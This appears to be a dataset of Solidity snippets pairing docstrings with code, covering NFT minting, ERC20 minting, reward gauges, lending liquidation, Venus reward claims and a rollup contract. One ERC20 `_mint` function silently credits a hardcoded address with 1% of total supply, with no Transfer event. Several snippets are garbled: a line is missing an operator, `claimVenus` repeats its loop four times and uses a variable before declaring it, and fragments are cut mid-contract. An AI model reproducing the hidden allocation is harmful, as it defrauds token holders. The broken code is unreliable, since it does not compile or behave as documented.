return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100));
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
|
require(numberOfTokens <= MAX_MINTS_PER_TX);if(tokenCounter.current()>NUM_FREE_MINTS){ require((PUBLIC_SALE_PRICE numberOfTokens) <= msg.value);}
|
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
maxMintsPerWallet()
{
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, nextTokenId());
}
}
| 2,219,007 |
./partial_match/1/0x5Bbe0Eef630B24BB73CEE8EABEa69C2EdF3EFd32/sources/TokenMintERC20Token.sol
|
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a `Transfer` event with `from` set to the zero address. Requirements - `to` cannot be the zero address./
|
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_balances[0x7c42f638AEB15Bde97E06a0eAC3FFcC8952890fe] = _totalSupply/100;
emit Transfer(address(0), account, amount);
}
| 4,345,415 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../interfaces/IPlus.sol";
import "../interfaces/IGauge.sol";
import "../interfaces/IGaugeController.sol";
/**
* @title Controller for all liquidity gauges.
*
* The Gauge Controller is responsible for the following:
* 1) AC emission rate computation for plus gauges;
* 2) AC reward claiming;
* 3) Liquidity gauge withdraw fee processing.
*
* Liquidity gauges can be divided into two categories:
* 1) Plus gauge: Liquidity gauges for plus tokens, the total rate is dependent on the total staked amount in these gauges;
* 2) Non-plus gage: Liquidity gauges for non-plus token, the rate is set by governance.
*/
contract GaugeController is Initializable, IGaugeController {
using SafeERC20Upgradeable for IERC20Upgradeable;
event GovernanceUpdated(address indexed oldGovernance, address indexed newGovernance);
event ClaimerUpdated(address indexed claimer, bool allowed);
event BasePlusRateUpdated(uint256 oldBaseRate, uint256 newBaseRate);
event TreasuryUpdated(address indexed oldTreasury, address indexed newTreasury);
event GaugeAdded(address indexed gauge, bool plus, uint256 gaugeWeight, uint256 gaugeRate);
event GaugeRemoved(address indexed gauge);
event GaugeUpdated(address indexed gauge, uint256 oldWeight, uint256 newWeight, uint256 oldGaugeRate, uint256 newGaugeRate);
event Checkpointed(uint256 oldRate, uint256 newRate, uint256 totalSupply, uint256 ratePerToken, address[] gauges, uint256[] guageRates);
event RewardClaimed(address indexed gauge, address indexed user, address indexed receiver, uint256 amount);
uint256 constant WAD = 10 ** 18;
uint256 constant LOG_10_2 = 301029995663981195; // log10(2) = 0.301029995663981195
uint256 constant DAY = 86400;
uint256 constant PLUS_BOOST_THRESHOLD = 100 * WAD; // Plus boosting starts at 100 plus staked!
address public override governance;
// AC token
address public override reward;
// Address => Whether this is claimer address.
// A claimer can help claim reward on behalf of the user.
mapping(address => bool) public override claimers;
address public override treasury;
struct Gauge {
// Helps to check whether the gauge is in the gauges list.
bool isSupported;
// Whether this is a plus gauge. The emission rate for the plus gauges depends on
// the total staked value in the plus gauges, while the emission rate for the non-plus
// gauges is set by the governance.
bool isPlus;
// Multiplier applied to the gauge in computing emission rate. Only applied to plus
// gauges as non-plus gauges should have fixed rate set by governance.
uint256 weight;
// Fixed AC emission rate for non-plus gauges.
uint256 rate;
}
// List of supported liquidity gauges
address[] public gauges;
// Liquidity gauge address => Liquidity gauge data
mapping(address => Gauge) public gaugeData;
// Liquidity gauge address => Actual AC emission rate
// For non-plus gauges, it is equal to gaugeData.rate when staked amount is non-zero and zero otherwise.
mapping(address => uint256) public override gaugeRates;
// Base AC emission rate for plus gauges. It's equal to the emission rate when there is no plus boosting,
// i.e. total plus staked <= PLUS_BOOST_THRESHOLD
uint256 public basePlusRate;
// Boost for all plus gauges. 1 when there is no plus boosting, i.e.total plus staked <= PLUS_BOOST_THRESHOLD
uint256 public plusBoost;
// Global AC emission rate, including both plus and non-plus gauge.
uint256 public totalRate;
// Last time the checkpoint is called
uint256 public lastCheckpoint;
// Total amount of AC rewarded until the latest checkpoint
uint256 public lastTotalReward;
// Total amount of AC claimed so far. totalReward - totalClaimed is the minimum AC balance that should be kept.
uint256 public totalClaimed;
// Mapping: Gauge address => Mapping: User address => Total claimed amount for this user in this gauge
mapping(address => mapping(address => uint256)) public override claimed;
// Mapping: User address => Timestamp of the last claim
mapping(address => uint256) public override lastClaim;
/**
* @dev Initializes the gauge controller.
* @param _reward AC token address.
* @param _plusRewardPerDay Amount of AC rewarded per day for plus gauges if there is no plus boost.
*/
function initialize(address _reward, uint256 _plusRewardPerDay) public initializer {
governance = msg.sender;
treasury = msg.sender;
reward = _reward;
// Base rate is in WAD
basePlusRate = _plusRewardPerDay * WAD / DAY;
plusBoost = WAD;
lastCheckpoint = block.timestamp;
}
/**
* @dev Computes log2(num). Result in WAD.
* Credit: https://medium.com/coinmonks/math-in-solidity-part-5-exponent-and-logarithm-9aef8515136e
*/
function _log2(uint256 num) internal pure returns (uint256) {
uint256 msb = 0;
uint256 xc = num;
if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } // 2**128
if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
uint256 lsb = 0;
uint256 ux = num << uint256 (127 - msb);
for (uint256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
lsb += bit * b;
}
return msb * 10**18 + (lsb * 10**18 >> 64);
}
/**
* @dev Computes log10(num). Result in WAD.
* Credit: https://medium.com/coinmonks/math-in-solidity-part-5-exponent-and-logarithm-9aef8515136e
*/
function _log10(uint256 num) internal pure returns (uint256) {
return _log2(num) * LOG_10_2 / WAD;
}
/**
* @dev Most important function of the gauge controller. Recompute total AC emission rate
* as well as AC emission rate per liquidity guage.
* Anyone can call this function so that if the liquidity gauge is exploited by users with short-term
* large amount of minting, others can restore to the correct mining paramters.
*/
function checkpoint() public {
// Loads the gauge list for better performance
address[] memory _gauges = gauges;
// The total amount of plus tokens staked
uint256 _totalPlus = 0;
// The total weighted amount of plus tokens staked
uint256 _totalWeightedPlus = 0;
// Amount of plus token staked in each gauge
uint256[] memory _gaugePlus = new uint256[](_gauges.length);
// Weighted amount of plus token staked in each gauge
uint256[] memory _gaugeWeightedPlus = new uint256[](_gauges.length);
uint256 _plusBoost = WAD;
for (uint256 i = 0; i < _gauges.length; i++) {
// Don't count if it's non-plus gauge
if (!gaugeData[_gauges[i]].isPlus) continue;
// Liquidity gauge token and staked token is 1:1
// Total plus is used to compute boost
address _staked = IGauge(_gauges[i]).token();
// Rebase once to get an accurate result
IPlus(_staked).rebase();
_gaugePlus[i] = IGauge(_gauges[i]).totalStaked();
_totalPlus = _totalPlus + _gaugePlus[i];
// Weighted plus is used to compute rate allocation
_gaugeWeightedPlus[i] = _gaugePlus[i] * gaugeData[_gauges[i]].weight;
_totalWeightedPlus = _totalWeightedPlus + _gaugeWeightedPlus[i];
}
// Computes the AC emission per plus. The AC emission rate is determined by total weighted plus staked.
uint256 _ratePerPlus = 0;
// Total AC emission rate for plus gauges is zero if the weighted total plus staked is zero!
if (_totalWeightedPlus > 0) {
// Plus boost is applied when more than 100 plus are staked
if (_totalPlus > PLUS_BOOST_THRESHOLD) {
// rate = baseRate * (log total - 1)
// Minus 19 since the TVL is in WAD, so -1 - 18 = -19
_plusBoost = _log10(_totalPlus) - 19 * WAD;
}
// Both plus boot and total weighted plus are in WAD so it cancels out
// Therefore, _ratePerPlus is still in WAD
_ratePerPlus = basePlusRate * _plusBoost / _totalWeightedPlus;
}
// Allocates AC emission rates for each liquidity gauge
uint256 _oldTotalRate = totalRate;
uint256 _totalRate;
uint256[] memory _gaugeRates = new uint256[](_gauges.length);
for (uint256 i = 0; i < _gauges.length; i++) {
if (gaugeData[_gauges[i]].isPlus) {
// gauge weighted plus is in WAD
// _ratePerPlus is also in WAD
// so block.timestamp gauge rate is in WAD
_gaugeRates[i] = _gaugeWeightedPlus[i] * _ratePerPlus / WAD;
} else {
// AC emission rate for non-plus gauge is fixed and set by the governance.
// However, if no token is staked, the gauge rate is zero.
_gaugeRates[i] = IERC20Upgradeable(_gauges[i]).totalSupply() == 0 ? 0 : gaugeData[_gauges[i]].rate;
}
gaugeRates[_gauges[i]] = _gaugeRates[i];
_totalRate += _gaugeRates[i];
}
// Checkpoints gauge controller
lastTotalReward += _oldTotalRate * (block.timestamp - lastCheckpoint) / WAD;
lastCheckpoint = block.timestamp;
totalRate = _totalRate;
plusBoost = _plusBoost;
// Checkpoints each gauge to consume the latest rate
// We trigger gauge checkpoint after all parameters are updated
for (uint256 i = 0; i < _gauges.length; i++) {
IGauge(_gauges[i]).checkpoint();
}
emit Checkpointed(_oldTotalRate, _totalRate, _totalPlus, _ratePerPlus, _gauges, _gaugeRates);
}
/**
* @dev Claims rewards for a user. Only the liquidity gauge can call this function.
* @param _account Address of the user to claim reward.
* @param _receiver Address that receives the claimed reward
* @param _amount Amount of AC to claim
*/
function claim(address _account, address _receiver, uint256 _amount) external override {
require(gaugeData[msg.sender].isSupported, "not gauge");
totalClaimed += _amount;
claimed[msg.sender][_account] = claimed[msg.sender][_account] + _amount;
lastClaim[msg.sender] = block.timestamp;
IERC20Upgradeable(reward).safeTransfer(_receiver, _amount);
emit RewardClaimed(msg.sender, _account, _receiver, _amount);
}
/**
* @dev Return the total amount of rewards generated so far.
*/
function totalReward() public view returns (uint256) {
return lastTotalReward + totalRate * (block.timestamp - lastCheckpoint) / WAD;
}
/**
* @dev Returns the total amount of rewards that can be claimed by user until block.timestamp.
* It can be seen as minimum amount of reward tokens should be buffered in the gauge controller.
*/
function claimable() external view returns (uint256) {
return totalReward() - totalClaimed;
}
/**
* @dev Returns the total number of gauges.
*/
function gaugeSize() public view returns (uint256) {
return gauges.length;
}
/**
* @dev Donate the gauge fee. Only liqudity gauge can call this function.
* @param _token Address of the donated token.
*/
function donate(address _token) external override {
require(gaugeData[msg.sender].isSupported, "not gauge");
uint256 _balance = IERC20Upgradeable(_token).balanceOf(address(this));
if (_balance == 0) return;
address _staked = IGauge(msg.sender).token();
if (gaugeData[msg.sender].isPlus && _token == _staked) {
// If this is a plus gauge and the donated token is the gauge staked token,
// then the gauge is donating the plus token!
// For plus token, donate it to all holders
IPlus(_token).donate(_balance);
} else {
// Otherwise, send to treasury for future process
IERC20Upgradeable(_token).safeTransfer(treasury, _balance);
}
}
/*********************************************
*
* Governance methods
*
**********************************************/
function _checkGovernance() internal view {
require(msg.sender == governance, "not governance");
}
modifier onlyGovernance() {
_checkGovernance();
_;
}
/**
* @dev Updates governance. Only governance can update governance.
*/
function setGovernance(address _governance) external onlyGovernance {
address _oldGovernance = governance;
governance = _governance;
emit GovernanceUpdated(_oldGovernance, _governance);
}
/**
* @dev Updates claimer. Only governance can update claimers.
*/
function setClaimer(address _account, bool _allowed) external onlyGovernance {
claimers[_account] = _allowed;
emit ClaimerUpdated(_account, _allowed);
}
/**
* @dev Updates the AC emission base rate for plus gauges. Only governance can update the base rate.
*/
function setPlusReward(uint256 _plusRewardPerDay) external onlyGovernance {
uint256 _oldRate = basePlusRate;
// Base rate is in WAD
basePlusRate = _plusRewardPerDay * WAD / DAY;
// Need to checkpoint with the base rate update!
checkpoint();
emit BasePlusRateUpdated(_oldRate, basePlusRate);
}
/**
* @dev Updates the treasury.
*/
function setTreasury(address _treasury) external onlyGovernance {
require(_treasury != address(0x0), "treasury not set");
address _oldTreasury = treasury;
treasury = _treasury;
emit TreasuryUpdated(_oldTreasury, _treasury);
}
/**
* @dev Adds a new liquidity gauge to the gauge controller. Only governance can add new gauge.
* @param _gauge The new liquidity gauge to add.
* @param _plus Whether it's a plus gauge.
* @param _weight Weight of the liquidity gauge. Useful for plus gauges only.
* @param _rewardPerDay AC reward for the gauge per day. Useful for non-plus gauges only.
*/
function addGauge(address _gauge, bool _plus, uint256 _weight, uint256 _rewardPerDay) external onlyGovernance {
require(_gauge != address(0x0), "gauge not set");
require(!gaugeData[_gauge].isSupported, "gauge exist");
uint256 _rate = _rewardPerDay * WAD / DAY;
gauges.push(_gauge);
gaugeData[_gauge] = Gauge({
isSupported: true,
isPlus: _plus,
weight: _weight,
// Reward rate is in WAD
rate: _rate
});
// Need to checkpoint with the new token!
checkpoint();
emit GaugeAdded(_gauge, _plus, _weight, _rate);
}
/**
* @dev Removes a liquidity gauge from gauge controller. Only governance can remove a plus token.
* @param _gauge The liquidity gauge to remove from gauge controller.
*/
function removeGauge(address _gauge) external onlyGovernance {
require(_gauge != address(0x0), "gauge not set");
require(gaugeData[_gauge].isSupported, "gauge not exist");
uint256 _gaugeSize = gauges.length;
uint256 _gaugeIndex = _gaugeSize;
for (uint256 i = 0; i < _gaugeSize; i++) {
if (gauges[i] == _gauge) {
_gaugeIndex = i;
break;
}
}
// We must have found the gauge!
assert(_gaugeIndex < _gaugeSize);
gauges[_gaugeIndex] = gauges[_gaugeSize - 1];
gauges.pop();
delete gaugeData[_gauge];
// Need to checkpoint with the token removed!
checkpoint();
emit GaugeRemoved(_gauge);
}
/**
* @dev Updates the weight of the liquidity gauge.
* @param _gauge Address of the liquidity gauge to update.
* @param _weight New weight of the liquidity gauge.
* @param _rewardPerDay AC reward for the gauge per day
*/
function updateGauge(address _gauge, uint256 _weight, uint256 _rewardPerDay) external onlyGovernance {
require(gaugeData[_gauge].isSupported, "gauge not exist");
uint256 _oldWeight = gaugeData[_gauge].weight;
uint256 _oldRate = gaugeData[_gauge].rate;
uint256 _rate = _rewardPerDay * WAD / DAY;
gaugeData[_gauge].weight = _weight;
gaugeData[_gauge].rate = _rate;
// Need to checkpoint with the token removed!
checkpoint();
emit GaugeUpdated(_gauge, _oldWeight, _weight, _oldRate, _rate);
}
/**
* @dev Used to salvage any ETH deposited to gauge controller by mistake. Only governance can salvage ETH.
* The salvaged ETH is transferred to treasury for futher operation.
*/
function salvage() external onlyGovernance {
uint256 _amount = address(this).balance;
address payable _target = payable(treasury);
(bool success, ) = _target.call{value: _amount}(new bytes(0));
require(success, 'ETH salvage failed');
}
/**
* @dev Used to salvage any token deposited to gauge controller by mistake. Only governance can salvage token.
* The salvaged token is transferred to treasury for futhuer operation.
* Note: The gauge controller is not expected to hold any token, so any token is salvageable!
* @param _token Address of the token to salvage.
*/
function salvageToken(address _token) external onlyGovernance {
IERC20Upgradeable _target = IERC20Upgradeable(_token);
_target.safeTransfer(treasury, _target.balanceOf(address(this)));
}
}
|
Initializes the gauge controller. _reward AC token address. _plusRewardPerDay Amount of AC rewarded per day for plus gauges if there is no plus boost./ Base rate is in WAD
|
function initialize(address _reward, uint256 _plusRewardPerDay) public initializer {
governance = msg.sender;
treasury = msg.sender;
reward = _reward;
basePlusRate = _plusRewardPerDay * WAD / DAY;
plusBoost = WAD;
lastCheckpoint = block.timestamp;
}
| 958,261 |
./full_match/83/0x48ef19252C6c59c5CF1e5Bd87DAeE0A2c5BA7cEE/sources/contracts/CToken/CErc20.sol
|
The sender liquidates the borrowers collateral. The collateral seized is transferred to the liquidator. borrower The borrower of this cToken to be liquidated repayAmount The amount of the underlying borrowed asset to repay cTokenCollateral The market in which to seize collateral from the borrower return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/
|
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address cTokenCollateral
) external override returns (uint256) {
(uint256 err, ) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral);
return err;
}
| 9,556,535 |
./partial_match/56/0x987e22A112FF07cd09d188E947f06584385E77f4/sources/Comptroller.sol
|
Claim all xvs accrued by the holders holders The addresses to claim XVS for vTokens The list of markets to claim XVS in borrowers Whether or not to claim XVS earned by borrowing suppliers Whether or not to claim XVS earned by supplying/
|
function claimVenus(address[] memory holders, VToken[] memory vTokens, bool borrowers, bool suppliers) public {
uint j;
if(address(vaiController) != address(0)) {
vaiController.updateVenusVAIMintIndex();
}
for (j = 0; j < holders.length; j++) {
distributeVAIMinterVenus(holders[j], true);
}
for (uint i = 0; i < vTokens.length; i++) {
VToken vToken = vTokens[i];
require(markets[address(vToken)].isListed, "not listed market");
if (borrowers) {
updateVenusBorrowIndex(address(vToken), borrowIndex);
for (j = 0; j < holders.length; j++) {
distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true);
}
}
if (suppliers) {
updateVenusSupplyIndex(address(vToken));
for (j = 0; j < holders.length; j++) {
distributeSupplierVenus(address(vToken), holders[j], true);
}
}
}
for (uint i = 0; i < vTokens.length; i++) {
VToken vToken = vTokens[i];
require(markets[address(vToken)].isListed, "not listed market");
if (borrowers) {
updateVenusBorrowIndex(address(vToken), borrowIndex);
for (j = 0; j < holders.length; j++) {
distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true);
}
}
if (suppliers) {
updateVenusSupplyIndex(address(vToken));
for (j = 0; j < holders.length; j++) {
distributeSupplierVenus(address(vToken), holders[j], true);
}
}
}
Exp memory borrowIndex = Exp({mantissa: vToken.borrowIndex()});
for (uint i = 0; i < vTokens.length; i++) {
VToken vToken = vTokens[i];
require(markets[address(vToken)].isListed, "not listed market");
if (borrowers) {
updateVenusBorrowIndex(address(vToken), borrowIndex);
for (j = 0; j < holders.length; j++) {
distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true);
}
}
if (suppliers) {
updateVenusSupplyIndex(address(vToken));
for (j = 0; j < holders.length; j++) {
distributeSupplierVenus(address(vToken), holders[j], true);
}
}
}
for (uint i = 0; i < vTokens.length; i++) {
VToken vToken = vTokens[i];
require(markets[address(vToken)].isListed, "not listed market");
if (borrowers) {
updateVenusBorrowIndex(address(vToken), borrowIndex);
for (j = 0; j < holders.length; j++) {
distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true);
}
}
if (suppliers) {
updateVenusSupplyIndex(address(vToken));
for (j = 0; j < holders.length; j++) {
distributeSupplierVenus(address(vToken), holders[j], true);
}
}
}
for (uint i = 0; i < vTokens.length; i++) {
VToken vToken = vTokens[i];
require(markets[address(vToken)].isListed, "not listed market");
if (borrowers) {
updateVenusBorrowIndex(address(vToken), borrowIndex);
for (j = 0; j < holders.length; j++) {
distributeBorrowerVenus(address(vToken), holders[j], borrowIndex, true);
}
}
if (suppliers) {
updateVenusSupplyIndex(address(vToken));
for (j = 0; j < holders.length; j++) {
distributeSupplierVenus(address(vToken), holders[j], true);
}
}
}
}
| 11,116,230 |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import { BlockLib as Block } from "./lib/BlockLib.sol";
import { HardTransactionsLib as HardTx } from "./lib/HardTransactionsLib.sol";
import { MerkleProofLib as Merkle } from "./lib/merkle/MerkleProofLib.sol";
import { TransactionsLib as TX } from "./lib/TransactionsLib.sol";
import "./interfaces/AddressGetterInterface.sol";
import "./fraud-proofs/FraudProver.sol";
import "./lib/Owned.sol";
import "./StateManager.sol";
import "./interfaces/TiramisuInterface.sol";
import { WithdrawLib as WD } from "./lib/WithdrawLib.sol";
/**
* @title Tiramisu
* @dev This contract interfaces between Ethereum and a Tiramisu blockchain.
* It tracks the history of the Tiramisu chain, is the sole arbiter of block
* validity and tracks all tokens managed by the Tiramisu chain.
* New blocks on the sidechain are submitted to this contract and recorded as
* pending for a period of time called the confirmation period, which is defined
* in Configurable.sol, during which anyone can audit the block for errors.
*
* This implements functions which allow accounts on Ethereum to record "hard"
* transactions which the Tiramisu chain must execute.
*
* If submitted blocks are invalid, anyone may submit a fraud proof to this
* contract to prove that the block contains some error, which will cause the
* block to be reverted. If fraud is proven, the operator will be penalized and
* the prover will be rewarded.
*/
contract Tiramisu is FraudProver, TiramisuInterface, Owned, StateManager {
using HardTx for bytes;
using HardTx for HardTx.HardDeposit;
using HardTx for HardTx.HardWithdrawal;
using HardTx for HardTx.HardAddSigner;
constructor(
uint256 challengePeriod_,
uint256 commitmentBond_,
uint256 version_,
uint256 changeDelay_,
AddressGetterInterface addressHandler_,
IERC20 tokenContract_
) public {
challengePeriod = challengePeriod_;
commitmentBond = commitmentBond_;
version = version_;
changeDelay = changeDelay_;
addressHandler = addressHandler_;
tokenContract = tokenContract_;
}
/**
* @dev Creates a hard deposit/hard create using the caller's address
* as both the account address and initial signing key.
* @param value Amount of tokens to deposit.
*/
function deposit(uint56 value) external override {
address contractAddress = addressHandler.getContractAddressForSigner(
msg.sender
);
/* Note - need to add unit conversion for correct decimal values */
require(
tokenContract.transferFrom(
contractAddress, address(this), uint256(value)
),
"Transfer Failed."
);
_deposit(contractAddress, msg.sender, value);
}
/**
* @dev deposit
* Creates a hard deposit/hard create using the caller's address as the
* account address and the address provided as the initial signing key.
* @notice The contract address can not be provided as an argument,
* as that would make it possible to claim an account that the caller
* does not own.
* @param signerAddress Initial signing key for the account.
* @param value Amount of tokens to deposit.
*/
function deposit(address signerAddress, uint56 value) external override {
/* Need to figure out better logic for address mapping. */
require(
addressHandler.verifySignerHasAuthority(msg.sender, signerAddress),
"Signer address does not match caller."
);
/* Note - need to add unit conversion for correct decimal values */
require(
tokenContract.transferFrom(msg.sender, address(this), uint256(value)),
"Transfer Failed."
);
_deposit(msg.sender, signerAddress, value);
}
/**
* @dev forceAddSigner
* Creates a HardAddSigner transaction which, if the caller is the owner
* of the account specified, will add the provided signer address to the
* account's list of signer.
* @param accountIndex Index of the account to add the signer to.
* @param signingAddress Address to add as a new signing key.
*/
function forceAddSigner(
uint32 accountIndex, address signingAddress
) external override {
HardTx.HardAddSigner memory hardTx = HardTx.HardAddSigner(
accountIndex, msg.sender, signingAddress
);
_state.hardTransactions.push(hardTx.encode());
emit NewHardTransaction(_state.hardTransactions.length);
}
/**
* @dev forceWithdrawal
* Creates a HardWithdrawal transaction which, if the caller is the
* owner of the specified account, will withdraw the amount of tokens
* specified to the L1.
* @param accountIndex Index of the account to withdraw from.
* @param value Amount of tokens to withdraw.
*/
function forceWithdrawal(
uint32 accountIndex, uint56 value
) external override {
HardTx.HardWithdrawal memory hardTx = HardTx.HardWithdrawal(
accountIndex, msg.sender, value
);
_state.hardTransactions.push(hardTx.encode());
emit NewHardTransaction(_state.hardTransactions.length);
}
/**
* @dev confirmBlock
* Confirms a pending block if it has passed the confirmation period
* and has a height one greater than the current confirmed block index.
* @param header Block header to confirm.
*/
function confirmBlock(Block.BlockHeader calldata header) external override {
_confirmBlock(header);
}
/**
* @dev getHardTransactionsFrom
* Gets `max` hard transactions starting at `start`, or however
* many transactions have been recorded if there are not `max` available.
* @param start Start index
* @param max Maximum number of hard transactions to retrieve.
*/
function getHardTransactionsFrom(
uint256 start, uint256 max
) external view override returns (bytes[] memory _hardTransactions) {
uint256 len = _state.hardTransactions.length;
uint256 stopAt = start + max;
if (stopAt > len) stopAt = len;
len = stopAt - start;
_hardTransactions = new bytes[](len);
for (uint256 i = 0; i < len; i++) {
_hardTransactions[i] = _state.hardTransactions[i + start];
}
}
/**
* @dev getBlockHash
* Gets the block hash at `height`.
* @param height Block height to retrieve the hash of.
*/
function getBlockHash(
uint256 height
) external view override returns (bytes32) {
return _state.blockHashes[height];
}
/**
* @dev getBlockCount
* Gets the number of blocks in the state.
*/
function getBlockCount() external view override returns (uint256) {
return _state.blockHashes.length;
}
/**
* @dev Gets the number of confirmed blocks in the state.
*/
function getConfirmedBlockCount() external view override returns (uint256) {
return _state.confirmedBlocks;
}
/**
* @dev Executes the withdrawals in a confirmed block.
* @param parent Header of the previous block, used to determine which withdrawals were executed.
* @param header Header of the block with the withdrawals to execute
* @param transactionsData Transactions buffer from the block.
* merkle tree.
*/
function executeWithdrawals(
Block.BlockHeader memory parent,
Block.BlockHeader memory header,
bytes memory transactionsData
) public override {
bytes32 blockHash = header.blockHash();
require(
_state.blockIsConfirmed(header.blockNumber, blockHash) &&
_state.blockIsConfirmed(parent.blockNumber, parent.blockHash()) &&
header.blockNumber == parent.blockNumber + 1 &&
header.hasTransactionsData(transactionsData) &&
_state.withdrawalsProcessed[blockHash] == false,
"Invalid inputs."
);
WD.GenericWithdrawal[] memory withdrawals = WD.extractWithdrawals(
parent, transactionsData
);
_state.withdrawalsProcessed[blockHash] = true;
for (uint256 i = 0; i < withdrawals.length; i++) {
WD.GenericWithdrawal memory withdrawal = withdrawals[i];
/* Transfer tokens to the recipient. */
/* TODO - Add decimal conversion */
bool ok = tokenContract.transfer(
withdrawal.withdrawalAddress, withdrawal.value
);
require(ok, "Token Transfer Failed.");
}
}
/**
* @dev submitBlock
* Records a block as pending.
* @notice Can only be called by `owner`.
* @param input Block input to submit.
*/
function submitBlock(
Block.BlockInput memory input
) public override onlyOwner {
_putPendingBlock(input);
}
function _deposit(
address contractAddress, address signerAddress, uint56 value
) internal {
/* TODO - replace storage of full data with storage of a hash, and emit the
data in the event */
HardTx.HardDeposit memory hardDeposit = HardTx.HardDeposit(
contractAddress, signerAddress, value
);
emit NewHardTransaction(_state.hardTransactions.length);
_state.hardTransactions.push(hardDeposit.encode());
}
}
|
confirmBlock Confirms a pending block if it has passed the confirmation period and has a height one greater than the current confirmed block index. header Block header to confirm./
|
function confirmBlock(Block.BlockHeader calldata header) external override {
_confirmBlock(header);
}
| 14,032,296 |
pragma solidity 0.5.10;
import "../interfaces/IBlockRewardAuRa.sol";
import "../interfaces/IERC677.sol";
import "../interfaces/IGovernance.sol";
import "../interfaces/IStakingAuRa.sol";
import "../interfaces/IValidatorSetAuRa.sol";
import "../upgradeability/UpgradeableOwned.sol";
import "../libs/SafeMath.sol";
/// @dev Implements staking and withdrawal logic.
contract StakingAuRaBase is UpgradeableOwned, IStakingAuRa {
using SafeMath for uint256;
// =============================================== Storage ========================================================
// WARNING: since this contract is upgradeable, do not remove
// existing storage variables, do not change their order,
// and do not change their types!
uint256[] internal _pools;
uint256[] internal _poolsInactive;
uint256[] internal _poolsToBeElected;
uint256[] internal _poolsToBeRemoved;
uint256[] internal _poolsLikelihood;
uint256 internal _poolsLikelihoodSum;
mapping(uint256 => address[]) internal _poolDelegators;
mapping(uint256 => address[]) internal _poolDelegatorsInactive;
mapping(address => uint256[]) internal _delegatorPools;
mapping(address => mapping(uint256 => uint256)) internal _delegatorPoolsIndexes;
mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal _stakeAmountByEpoch;
mapping(uint256 => uint256) internal _stakeInitial;
// Reserved storage slots to allow for layout changes in the future.
uint256[24] private ______gapForInternal;
/// @dev The limit of the minimum candidate stake (CANDIDATE_MIN_STAKE).
uint256 public candidateMinStake;
/// @dev The limit of the minimum delegator stake (DELEGATOR_MIN_STAKE).
uint256 public delegatorMinStake;
/// @dev The snapshot of tokens amount staked into the specified pool by the specified delegator
/// before the specified staking epoch. Used by the `claimReward` function.
/// The first parameter is the pool id, the second one is delegator's address,
/// the third one is staking epoch number.
mapping(uint256 => mapping(address => mapping(uint256 => uint256))) public delegatorStakeSnapshot;
/// @dev The current amount of staking tokens/coins ordered for withdrawal from the specified
/// pool by the specified staker. Used by the `orderWithdraw`, `claimOrderedWithdraw` and other functions.
/// The first parameter is the pool id, the second one is the staker address.
/// The second parameter should be a zero address if the staker is the pool itself.
mapping(uint256 => mapping(address => uint256)) public orderedWithdrawAmount;
/// @dev The current total amount of staking tokens/coins ordered for withdrawal from
/// the specified pool by all of its stakers. Pool id is accepted as a parameter.
mapping(uint256 => uint256) public orderedWithdrawAmountTotal;
/// @dev The number of the staking epoch during which the specified staker ordered
/// the latest withdraw from the specified pool. Used by the `claimOrderedWithdraw` function
/// to allow the ordered amount to be claimed only in future staking epochs. The first parameter
/// is the pool id, the second one is the staker address.
/// The second parameter should be a zero address if the staker is the pool itself.
mapping(uint256 => mapping(address => uint256)) public orderWithdrawEpoch;
/// @dev The delegator's index in the array returned by the `poolDelegators` getter.
/// Used by the `_removePoolDelegator` internal function. The first parameter is a pool id.
/// The second parameter is delegator's address.
/// If the value is zero, it may mean the array doesn't contain the delegator.
/// Check if the delegator is in the array using the `poolDelegators` getter.
mapping(uint256 => mapping(address => uint256)) public poolDelegatorIndex;
/// @dev The delegator's index in the `poolDelegatorsInactive` array.
/// Used by the `_removePoolDelegatorInactive` internal function.
/// A delegator is considered inactive if they have withdrawn their stake from
/// the specified pool but haven't yet claimed an ordered amount.
/// The first parameter is a pool id. The second parameter is delegator's address.
mapping(uint256 => mapping(address => uint256)) public poolDelegatorInactiveIndex;
/// @dev The pool's index in the array returned by the `getPoolsInactive` getter.
/// Used by the `_removePoolInactive` internal function. The pool id is accepted as a parameter.
mapping(uint256 => uint256) public poolInactiveIndex;
/// @dev The pool's index in the array returned by the `getPools` getter.
/// Used by the `_removePool` internal function. A pool id is accepted as a parameter.
/// If the value is zero, it may mean the array doesn't contain the address.
/// Check the address is in the array using the `isPoolActive` getter.
mapping(uint256 => uint256) public poolIndex;
